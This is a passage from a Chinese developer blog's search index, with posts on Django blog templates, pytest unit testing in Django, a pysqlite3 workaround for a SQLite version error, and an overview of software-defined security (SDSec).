aria-label=\u0026#34;Toggle navigation\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;lyear-hamburger\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;hamburger-inner\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;div id=\u0026#34;navigation\u0026#34; class=\u0026#34;collapse navbar-collapse flex-column\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;profile-section pt-3 pt-lg-0\u0026#34;\u0026gt; \u0026lt;img class=\u0026#34;profile-image mb-3 rounded-circle mx-auto\u0026#34; src=\u0026#34;https://img9.doubanio.com/icon/ul70489051-4.jpg\u0026#34; width=\u0026#34;120\u0026#34; height=\u0026#34;120\u0026#34; alt=\u0026#34;xiejava\u0026#34; \u0026gt; \u0026lt;div class=\u0026#34;lyear-sentence mb-3\u0026#34;\u0026gt; 记录最好的自己\u0026lt;br\u0026gt; 写是为了更好的思考，坚持写作，力争更好的思考。 \u0026lt;/div\u0026gt; \u0026lt;hr\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;ul class=\u0026#34;navbar-nav flex-column text-center\u0026#34;\u0026gt; \u0026lt;li class=\u0026#34;nav-item active\u0026#34;\u0026gt; \u0026lt;a class=\u0026#34;nav-link\u0026#34; href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }\u0026#34;\u0026gt;首页\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; { % for category in categories % } \u0026lt;li class=\u0026#34;nav-item\u0026#34;\u0026gt; \u0026lt;a class=\u0026#34;nav-link\u0026#34; href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }?category={ { category.id } }\u0026#34;\u0026gt;{ { category.title } }\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; { % endfor % } \u0026lt;li class=\u0026#34;nav-item\u0026#34;\u0026gt; \u0026lt;a class=\u0026#34;nav-link\u0026#34; href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }\u0026#34;\u0026gt;关于我\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;div class=\u0026#34;my-2 my-md-3\u0026#34;\u0026gt; \u0026lt;form class=\u0026#34;lyear-search-form form-inline justify-content-center pt-3\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;search\u0026#34; name=\u0026#34;search\u0026#34; class=\u0026#34;form-control mr-md-1\u0026#34; placeholder=\u0026#34;搜索关键词\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/nav\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/header\u0026gt; \u0026lt;div class=\u0026#34;lyear-wrapper\u0026#34;\u0026gt; \u0026lt;section class=\u0026#34;mt-5 pb-5\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;!-- 文章列表 --\u0026gt; \u0026lt;div class=\u0026#34;col-xl-8\u0026#34;\u0026gt; \u0026lt;!-- 内容 --\u0026gt; { % block content % } \u0026lt;!-- 默认内容 --\u0026gt; { % endblock % } \u0026lt;/div\u0026gt; \u0026lt;!-- 内容 end --\u0026gt; \u0026lt;!-- 侧边栏 --\u0026gt; \u0026lt;div class=\u0026#34;col-xl-4\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;lyear-sidebar\u0026#34;\u0026gt; \u0026lt;!-- 热门文章 --\u0026gt; \u0026lt;aside class=\u0026#34;widget widget-hot-posts\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;widget-title\u0026#34;\u0026gt;热门文章\u0026lt;/div\u0026gt; \u0026lt;ul\u0026gt; { % for post in hot_posts % } \u0026lt;li\u0026gt; \u0026lt;a href=\u0026#34;{ % url \u0026#39;post_detail\u0026#39; id=post.id % }\u0026#34;\u0026gt;{ { post.title } }\u0026lt;/a\u0026gt; \u0026lt;span\u0026gt;{ { post.pubTime } }\u0026lt;/span\u0026gt; \u0026lt;/li\u0026gt; { % endfor % } \u0026lt;/ul\u0026gt; \u0026lt;/aside\u0026gt; \u0026lt;!-- 归档 --\u0026gt; \u0026lt;aside class=\u0026#34;widget\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;widget-title\u0026#34;\u0026gt;归档\u0026lt;/div\u0026gt; \u0026lt;ul\u0026gt; { % for post in post_grouped_by_year % } \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }?year={ { post.year|date:\u0026#39;Y\u0026#39; } }\u0026#34; \u0026gt;{ % if year == post.year|date:\u0026#39;Y\u0026#39; % }\u0026lt;b\u0026gt;{ { post.year|date:\u0026#39;Y\u0026#39; } } 年 \u0026lt;/b\u0026gt;{ % else % }{ { post.year|date:\u0026#39;Y\u0026#39; } } 年{ % endif % }\u0026lt;/a\u0026gt; ({ { post.publication_count } })\u0026lt;/li\u0026gt; { % endfor % } \u0026lt;/ul\u0026gt; \u0026lt;/aside\u0026gt; \u0026lt;!-- 标签 --\u0026gt; \u0026lt;aside class=\u0026#34;widget widget-tag-cloud\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;widget-title\u0026#34;\u0026gt;标签 \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;tag-cloud\u0026#34;\u0026gt; { % for tag in tags % } \u0026lt;a href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }?tag={ { tag.id } }\u0026#34; { % if tag_id == tag.id % }class=\u0026#34;badge badge-primary\u0026#34;{ % else % }class=\u0026#34;badge badge-light\u0026#34;{ % endif % }\u0026gt;{ { tag.tag } }\u0026lt;/a\u0026gt; { % endfor % } \u0026lt;/div\u0026gt; \u0026lt;/aside\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- 侧边栏 end --\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- end container --\u0026gt; \u0026lt;/section\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;{ % static \u0026#39;blog/js/jquery.min.js\u0026#39; % }\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;{ % static \u0026#39;blog/js/jquery.nicescroll.min.js\u0026#39; % }\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;{ % static \u0026#39;blog/js/bootstrap.min.js\u0026#39; % }\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;{ % static \u0026#39;blog/js/main.min.js\u0026#39; % }\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 博客首页/列表页 通过{ % extends 'blog/base.html' % } 将公共部门引入进来后index.html的内容就简洁了很多 index.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 { % extends \u0026#39;blog/base.html\u0026#39; % } \u0026lt;!-- 内容 --\u0026gt; { % block content % } { % if page_obj.object_list.count \u0026gt; 0 % } { % for blogpost in page_obj.object_list % } \u0026lt;article class=\u0026#34;lyear-arc\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;arc-header\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;arc-title\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;article/{ { blogpost.id } }\u0026#34;\u0026gt;{ { blogpost.title } }\u0026lt;/a\u0026gt;\u0026lt;/h2\u0026gt; \u0026lt;ul class=\u0026#34;arc-meta\u0026#34;\u0026gt; \u0026lt;li\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-calendar\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; { { blogpost.pubTime } }\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-tag-text-outline\u0026#34;\u0026gt; \u0026lt;/i\u0026gt; { % for tag in blogpost.tags.all % }\u0026lt;a href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }?tag={ { tag.id } }\u0026#34;\u0026gt;{ { tag.tag } }\u0026lt;/a\u0026gt;\u0026amp;nbsp{ % endfor % }\u0026lt;/li\u0026gt; \u0026lt;!--\u0026lt;li\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-comment-multiple-outline\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34;\u0026gt;3 评论\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;--\u0026gt; \u0026lt;li\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-heart-outline\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34;\u0026gt;{ { blogpost.viewsCount } } 喜欢\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;arc-synopsis\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{ { blogpost.summary } }\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/article\u0026gt; { % endfor % } \u0026lt;!-- 分页 --\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;col-lg-12\u0026#34;\u0026gt; \u0026lt;ul class=\u0026#34;pagination\u0026#34;\u0026gt; { % if page_obj.has_previous % } \u0026lt;li class=\u0026#34;page-item\u0026#34;\u0026gt;\u0026lt;a class=\u0026#34;page-link\u0026#34; href=\u0026#34;?page={ { page_obj.previous_page_number } }\u0026#34;\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-chevron-left\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; { % endif % } { % for page_no in page_obj.paginator.page_range % } { % if page_no \u0026gt;= start_page and page_no \u0026lt;= end_page % } { % if page_no == page_obj.number % } \u0026lt;li class=\u0026#34;page-item active\u0026#34;\u0026gt;\u0026lt;a class=\u0026#34;page-link\u0026#34; href=\u0026#34;#\u0026#34;\u0026gt;{ { page_no } }\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; { % else % } \u0026lt;li class=\u0026#34;page-item\u0026#34;\u0026gt;\u0026lt;a class=\u0026#34;page-link\u0026#34; href=\u0026#34;?page={ { page_no } }{ % if tag_id % }\u0026amp;tag={ { tag_id } }{ % endif % }{ % if year % }\u0026amp;year={ { year } }{ % endif % }{ % if search % }\u0026amp;search={ { search } }{ % endif % }\u0026#34;\u0026gt;{ { page_no } }\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; { % endif % } { % endif % } { % endfor % } { % if page_obj.has_next % } \u0026lt;li class=\u0026#34;page-item\u0026#34;\u0026gt;\u0026lt;a class=\u0026#34;page-link\u0026#34; href=\u0026#34;?page={ { page_obj.next_page_number } }{ % if tag_id % }\u0026amp;tag={ { tag_id } }{ % endif % }{ % if year % }\u0026amp;year={ { year } }{ % endif % }{ % if search % }\u0026amp;search={ { search } }{ % endif % }\u0026#34;\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-chevron-right\u0026#34;\u0026gt;\u0026lt;/i\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; { % endif % } \u0026lt;p\u0026gt;总页数: { { page_obj.paginator.num_pages } }\u0026lt;/p\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; { % else % } \u0026lt;p\u0026gt; 没有找到文章 \u0026lt;/p\u0026gt; { % endif % } \u0026lt;!-- 分页 end --\u0026gt; { % endblock % } \u0026lt;!-- 内容 end --\u0026gt; 博客详情页post.html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { % extends \u0026#39;blog/base.html\u0026#39; % } \u0026lt;!-- 文章阅读 --\u0026gt; { % block content % } \u0026lt;article class=\u0026#34;lyear-arc\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;arc-header\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;arc-title\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;#\u0026#34;\u0026gt;{ { post_obj.title } }\u0026lt;/a\u0026gt;\u0026lt;/h2\u0026gt; \u0026lt;ul class=\u0026#34;arc-meta\u0026#34;\u0026gt; \u0026lt;li\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-calendar\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; { { post_obj.pubTime } }\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt; { % for tag in post_obj.tags.all % }\u0026lt;a href=\u0026#34;{ % url \u0026#39;index\u0026#39; % }?tag={ { tag.id } }\u0026#34;\u0026gt;{ { tag.tag } }\u0026lt;/a\u0026gt;{ % endfor % }\u0026lt;/li\u0026gt; \u0026lt;!--\u0026lt;li\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-comment-multiple-outline\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34;\u0026gt;3 评论\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;--\u0026gt; \u0026lt;li\u0026gt;\u0026lt;i class=\u0026#34;mdi mdi-heart-outline\u0026#34;\u0026gt;\u0026lt;/i\u0026gt; \u0026lt;a href=\u0026#34;#\u0026#34;\u0026gt;{ { post_obj.viewsCount } } 喜欢\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;arc-preview\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;images/blog/post-1.png\u0026#34; alt=\u0026#34;\u0026#34; class=\u0026#34;img-fluid rounded\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;lyear-arc-detail\u0026#34;\u0026gt; { { html_content|safe } } \u0026lt;/div\u0026gt; \u0026lt;/article\u0026gt; { % endblock % } \u0026lt;!-- 内容 end --\u0026gt; 四、部署及效果 在部署之前执行python manage.py collectstatic 将admin等其他模块用到的静态文件统一输出到static的目录。 通过 python manage.py runserver 启动应用就可以看到效果。 实际效果见 http://iblog.ishareread.com/ 博客首页 博客详情页 五、源代码 所有源代码及说明见 https://gitee.com/xiejava/ishareblog\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-10-django%E5%BF%AB%E9%80%9F%E5%AE%9E%E7%8E%B0%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2-%E9%99%84%E6%BA%90%E7%A0%81/","summary":"\u003cp\u003eDjango作为一款成熟的Python Web开发框架提供了丰富的内置功能，如ORM（对象关系映射）、Admin管理界面、URL分发、模板系统、表单处理等，使得开发者能够快速搭建Web应用，大幅提高了开发效率。以前写过一篇博文《\u003ca href=\"https://xiejava.blog.csdn.net/article/details/125939504\"\u003eDjango+Vue快速实现博客网站\u003c/a\u003e》介绍了通过Djang+Vue快速实现博客网站，django+vue作为个人博客来说稍显复杂，部署起来也比较麻烦，Vue的单页面架构也不利于SEO，更简单的解决方案其实还是用django的模板系统快速构建web应用，对于个人博客来说部署和运维更加简单也利于SEO。下面介绍如何快速的通过django模板系统快速实现个人博客。\u003c/p\u003e","title":"django快速实现个人博客(附源码)"},{"content":"在Django项目中集成Pytest进行单元测试可以提高测试的灵活性和效率，相比于Django自带的测试框架，Pytest提供了更为丰富和强大的测试功能。本文通过一个实际项目ishareblog介绍django集成pytest进行自动化单元测试实战。\n一、引入pytest相关的包 1 2 3 pip install pytest pip install pytest-django pip install pytest-html 其中pytest-django插件，它提供了Django和Pytest之间的桥梁，pytest-html 是一个 pytest 的插件，用于生成详细的 HTML 测试报告。这个插件能够将 pytest 运行的结果转化为一个直观、易于阅读的 HTML 格式报告，这对于分享测试结果、审查测试覆盖率以及归档测试历史非常有帮助。\n二、配置pytest 1、将django的配置区分测试环境、开发环境和生产环境 因为测试环境、开发环境和生产环境的环境配置参数不一样，一个好的实践是将开发、测试和生产环境通过配置区分开，django的配置主要集中在项目的settings.py文件，这里通过settings.py的配置文件将开发、测试、生产区分开，不同的环境调用不通的配置文件。\n因为大部分的配置参数都是一样的，在这里我将公共的配置参数都抽到了base.py，环境配置中有差异的部分分别放到各自的配置文件中，如开发环境用的是mysql，测试环境用sqlite3，就可以将不同的配置给区分开。 测试环境是settings_test.py，这里除了数据库的配置不一样，其他都沿用基础的公共配置。settings_test.py配置如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 from .base import * # SECURITY WARNING: don\u0026#39;t run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] DATABASES = { \u0026#39;default\u0026#39;: { \u0026#39;ENGINE\u0026#39;: \u0026#39;django.db.backends.sqlite3\u0026#39;, \u0026#39;NAME\u0026#39;: os.path.join(BASE_DIR, \u0026#39;test_db.sqlite3\u0026#39;), } } 2、配置pytest 在Django项目根目录下，创建或编辑pytest.ini文件，来配置Pytest。 pytest.ini代码如下：\n1 2 3 4 [pytest] DJANGO_SETTINGS_MODULE = ishareblog.settings_test python_files = tests.py test_*.py *_tests.py DJANGO_SETTINGS_MODULE = ishareblog.settings_test 指定了pytest用到的环境配置 python_files = tests.py test_*.py *_tests.py 指定了pytest将测试以test开头的py文件中的测试用例。\n三、编写测试用例 接下来，可以在tests.py或test_*.py文件中编写你的测试用例。由于pytest-django插件的存在，你可以像平常一样使用Django的测试机制，同时也能享受Pytest带来的便利。以下以我的ishareblog博客代码通过业务测试和接口测试来编写测试用例。\n1、业务测试 我的isharebog业务相对简单，主要是测试验证业务模型模块的增删改查是否符合预期。 业务测试tests.py示例代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import pytest from django.test import TestCase from blog.models import BlogCategory @pytest.mark.django_db class TestBlogCategory(TestCase): def setUp(self): self.blogcategory = BlogCategory.objects.create(id=1,title=\u0026#34;Test Category\u0026#34;, href=\u0026#39;/category/1\u0026#39;) def test_BogCategoryModel(self): blog_category = BlogCategory.objects.get(id=self.blogcategory.id) self.assertEqual(blog_category.title, \u0026#34;Test Category\u0026#34;) self.assertEqual(blog_category.href, \u0026#39;/category/1\u0026#39;) @pytest.mark.django_db def test_blog_category_create(): blogcategory = BlogCategory.objects.create(id=1,title=\u0026#34;Test Category\u0026#34;, href=\u0026#39;/category/1\u0026#39;) category_count = BlogCategory.objects.count() assert category_count \u0026gt; 0, \u0026#34;Blog category was not created category_count=0.\u0026#34; assert blogcategory.id \u0026gt; 0, \u0026#34;Blog category was not created.\u0026#34; assert blogcategory.title == \u0026#34;Test Category\u0026#34;, \u0026#34;Blog category title is wrong.\u0026#34; assert blogcategory.href == \u0026#34;/category/1\u0026#34;, \u0026#34;Blog category href is wrong.\u0026#34; @pytest.mark.django_db def test_blog_category_query(): category_count = len(BlogCategory.objects.all()) assert category_count \u0026gt;= 0, \u0026#34;Blog category query error.\u0026#34; if __name__ == \u0026#39;__main__\u0026#39;: pytest.main([\u0026#34;-s\u0026#34;, \u0026#34;-v\u0026#34;, \u0026#34;-p\u0026#34;, \u0026#34;no:warnings\u0026#34;, \u0026#34;--tb=short\u0026#34;, \u0026#34;--html=report.html\u0026#34;, \u0026#34;blog/tests.py\u0026#34;]) 业务测试举了通过测试类和测试方法写的测试用例，分别对博客目录进行添加和查询编写了测试用例。\n2、接口测试 接口是暴露给前端程序调用的，接口测试主要是测试接口正不正常，接口值是不是符合预期。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests import pytest host = \u0026#34;http://localhost:8000\u0026#34; class TestApi: def test_getcategory_list(self): url = f\u0026#39;{host}/api/category/\u0026#39; response = requests.get(url) assert response.status_code == 200, f\u0026#39;Expected status code 200 but got {response.status_code}\u0026#39; assert response.json() != None, f\u0026#39;Expected to get json response but got {response.text}\u0026#39; print(response.json()) def test_getpost_list(self): url = f\u0026#39;{host}/api/post/list\u0026#39; response = requests.get(url) assert response.status_code == 200, f\u0026#39;Expected status code 200 but got {response.status_code}\u0026#39; assert response.json() != None, f\u0026#39;Expected to get json response but got {response.text}\u0026#39; if __name__ == \u0026#39;__main__\u0026#39;: pytest.main([\u0026#34;-s\u0026#34;, \u0026#34;-v\u0026#34;, \u0026#34;-p\u0026#34;, \u0026#34;no:warnings\u0026#34;, \u0026#34;--tb=short\u0026#34;, \u0026#34;--html=report.html\u0026#34;, \u0026#34;api/tests.py\u0026#34;]) 接口测试部分，对获取目录的API接口和文章列表的API接口编写了测试用例。\n四、进行测试 最后可以分别在blog目录和api目录下运行test.py 分别进行业务和接口的单元测试。 注意在进行测试之前需要执行 python manage.py makemigrations --settings=ishareblog.settings_test 初始化环境。 在进行api接口测试之前需要将django的应用服务启动 python manage.py runserver 8000 --settings=ishareblog.settings_test 启动的时候也带上测试环境的配置。 可以通过pytest --html=report.html 自动执行所有的单元测试，并生成可读的html的测试报告。 pytest生成的report.html测试报告 以上通过一个ishareblog的实际项目介绍django集成pytest进行自动化单元测试实战。 ishareblog的所有代码包括pytest的配置见 https://gitee.com/xiejava/ishareblog\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-03-django%E9%9B%86%E6%88%90pytest%E8%BF%9B%E8%A1%8C%E8%87%AA%E5%8A%A8%E5%8C%96%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e在Django项目中集成Pytest进行单元测试可以提高测试的灵活性和效率，相比于Django自带的测试框架，Pytest提供了更为丰富和强大的测试功能。本文通过一个实际项目ishareblog介绍django集成pytest进行自动化单元测试实战。\u003c/p\u003e","title":"django集成pytest进行自动化单元测试实战"},{"content":"今天在尝试用pytest进行django的单元测试，pytest用的数据库是sqlite3，在window环境下测试得好好的，但是放到linux环境下就报错，具体是报django.core.exceptions.ImproperlyConfigured: SQLite 3.9.0 or later is required (found 3.8.2).的错。\n从报错的提示看是sqlite3的版本太低，期望是3.9.0但是当前版本是3.8.2 在网上找了很多资料，也都是说django与sqlite3的版本不兼容，需要升级sqlite3的版本。 于是将sqlite3升级到目前的稳定版本3.46.0，然而发现并没有什么用，还是报sqlite3.NotSupportedError: deterministic=True requires SQLite 3.8.3 or higher 。\n通过sqlite3 \u0026ndash;version 查看版本号已经是3.46.0了，但还是提示要求SQLite版本在3.8.3以上。重装django4和python3.8的环境都没有用。 最后在网上找到解决办法。使用第三方包pysqlite3运行SQLite3 具体方法如下： 1、安装pysqlite3和pysqlite3-binary\n1 2 pip install pysqlite3 pip install pysqlite3-binary 2、找到django的sqlite3驱动包，/usr/local/lib/python3.8/site-packages/django/db/backends/sqlite3/base.py 找到 from sqlite3 import dbapi2 as Database 注释它，添加代码\n1 2 #from sqlite3 import dbapi2 as Database #注释它 from pysqlite3 import dbapi2 as Database #新加这段代码 历经周折终于解决。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-07-23-%E8%A7%A3%E5%86%B3django%E4%B8%8Esqlite3%E4%B8%8D%E5%85%BC%E5%AE%B9%E6%8A%A5%E9%94%99%E7%9A%84%E9%97%AE%E9%A2%98/","summary":"\u003cp\u003e今天在尝试用pytest进行django的单元测试，pytest用的数据库是sqlite3，在window环境下测试得好好的，但是放到linux环境下就报错，具体是报\u003ccode\u003edjango.core.exceptions.ImproperlyConfigured: SQLite 3.9.0 or later is required (found 3.8.2).\u003c/code\u003e的错。\u003c/p\u003e","title":"解决django与sqlite3不兼容报SQLite 3.9.0 or later is required (found 3.8.2)错的问题"},{"content":"一、软件定义安全SDSec产生的背景 软件定义安全（Software Defined Security，SDSec）的产生背景主要源于传统网络安全防护方法在面对复杂网络环境时的不适应性，以及软件定义网络（SDN）技术的发展和应用。\nSDN技术影响与数据与控制分离的理念：SDN的出现将网络的控制平面与数据平面分离，实现了网络资源的集中管理和自动化配置。SDN控制器可以全局视角管理网络，这为安全策略的统一规划和执行提供了可能。SDSec的核心理念是数据与控制分离，安全管理与控制集中化，这与SDN的内在性质相契合，适合用于网络安全的场景。\n复杂网络环境与传统安全设备的挑战：在物理与虚拟网络共存的数据中心等复杂环境中，传统的网络安全设备部署过程繁复，不能灵活地区分处理流经的流量，安全防护范围僵化，且安全设备可能成为单一故障点，传统的安全网关设备如防火墙、入侵防护系统等，存在互操作性差、难以集成等问题，SDN的理念可以拓展到这些设备上，作为下一代安全产品开发的指导思想，从而产生了SDSec的概念\n云计算和虚拟化技术的发展对安全的需求：云计算系统的开放API、虚拟化技术的资源池能力、SDN的支持，以及中小型企业对安全防护系统有效性、便捷性和灵活性的需求，促使软件定义安全理念在云计算安全防护中得到体现。\nSDSec的产生是为了解决传统网络安全方法在现代网络环境中的局限性，同时利用SDN技术的优势，实现更高效、灵活和自动化的网络安全防护。\n二、软件定义安全SDSec的定义 软件定义安全（Software Defined Security，SDSec）是一种从软件定义网络（SDN）引申而来的概念，其核心原理是将网络安全设备与其接入模式、部署方式、实现功能进行解耦。这种解耦使得底层的网络安全设备可以抽象为安全资源池中的资源，而顶层则通过软件编程的方式进行智能化、自动化的业务编排和管理，以完成相应的安全功能，实现灵活的安全防护 。\nSDSec的工作机制可以分解为三个主要部分：软件定义流量、软件定义资源和软件定义威胁模型。这三个部分相互关联，形成一个动态、闭环的工作模型。具体来说： ● 软件定义流量通过软件编程实现网络流量的细粒度定义及转发控制管理，将目标网络流量转发到安全设备上，实现安全设备的逻辑部署和使用。 ● 软件定义资源通过管理中心对安全资源进行统一注册、池化管理、弹性分配，并在虚拟计算环境下支持虚拟安全设备模板的分发和设备的创建。 ● 软件定义威胁模型涉及自动化采集、分析和挖掘网络流量、网络行为、安全事件等信息，实现对未知威胁或高级安全威胁的实时分析和建模，并用建模结果指导流量定义，实现动态、闭环的安全防护。\nSDSec的架构设计使得安全策略执行点（数据平面）与安全控制器（控制平面）相互分离，从而使安全设备能够快速、自动地适应业务的动态变化。这种分离的架构有助于厂商集中精力研发异常检测技术，提高安全产品的核心能力，并便于在一个计算能力更强的、开放的、综合的平台上完成异常检测\n三、软件定义安全SDSec的支撑技术 软件定义安全本质上是一种技术理念，主要技术思路为参考 SDN 的数 据与控制层面分离 ，通过构建上层安全管理平台去运营、运维下层集约化部署的安 全资源。软件定义安全SDSec的主要支撑技术包括软件定义网络 (SDN)、虚拟化技术、API和标准化接口、安全编排与自动化响应 (SOAR)\n软件定义网络 (SDN)：SDN是SDSec的基础之一，它将网络的控制平面与数据平面分离，允许对网络流量进行集中控制和策略实施，为安全策略的灵活部署和动态调整提供了可能。 虚拟化技术：虚拟化技术支持快速准备虚拟化的安全设备，包括服务器虚拟化、网络功能虚拟化（NFV）和软件定义存储（SDS），这些技术允许安全功能如防火墙、入侵检测系统（IDS）、入侵防御系统（IPS）等作为虚拟实例运行，并灵活调度计算、存储、网络资源，可以更容易地在不同位置之间移动和扩展，为安全功能服务。 API和标准化接口：SDSec依赖于API和标准化接口来集成不同的安全组件和服务，允许不同供应商的产品之间进行互操作，增强整体安全生态系统的灵活性和可扩展性。 安全编排与自动化响应 (SOAR)：自动化工具和工作流编排用于实现安全策略的快速部署、更新和响应。这包括安全策略的自动化生成、配置和变更管理，以及在检测到威胁时的自动响应。SOAR平台结合了安全事件管理、自动化响应和编排功能，用于协调多个安全工具和流程，提高安全团队的效率和响应速度。\n这些技术共同作用，使SDSec能够提供一个更加强大、灵活和响应迅速的安全框架，以应对不断变化的威胁环境。\n四、软件定义安全SDSec的优缺点 软件定义安全（SDSec）与传统安全产品相比，各有其独特的优点和缺点：\n软件定义安全(SDSec) 传统安全产品 灵活性与可扩展性 使用SDN和NFV技术，安全策略可以动态配置和调整，适应网络流量变化和新的安全威胁。可以通过软件更新和配置更轻松地适应新的安全需求和技术进展。 通常使用硬件设备，配置和更新安全策略较为繁琐，不够灵活。硬件设备的功能和性能受到限制，升级和扩展可能需要更换设备或增加新的硬件。 集中化管理和自动化 可以通过集中的安全策略控制器管理整个网络的安全策略，实现自动化响应和安全事件管理。 管理分散在各个设备上，安全策略的更新和管理通常需要更多的人工干预。 资源利用率和成本效益 利用NFV将安全功能虚拟化在通用服务器上运行，提高了资源利用率，并降低了成本。 需要购买和维护多个专用硬件设备，成本和资源利用率不如虚拟化解决方案高效。 技术成熟度和部署复杂性 相较传统安全产品，SDSec 的技术可能需要更多时间来成熟，并且在部署和管理上可能存在一定的复杂性。 技术相对成熟，部署相对简单，但可能缺乏SDSec中的一些先进功能和灵活性。 安全性考量 虽然提供了灵活和智能的安全防护，但在实施时需要确保其本身不会成为攻击目标或单点故障。如果控制平台受到攻击，可能会对整个网络的安全造成影响。 可能因为使用独立的硬件设备，一些传统攻击方式可能更难以实施。 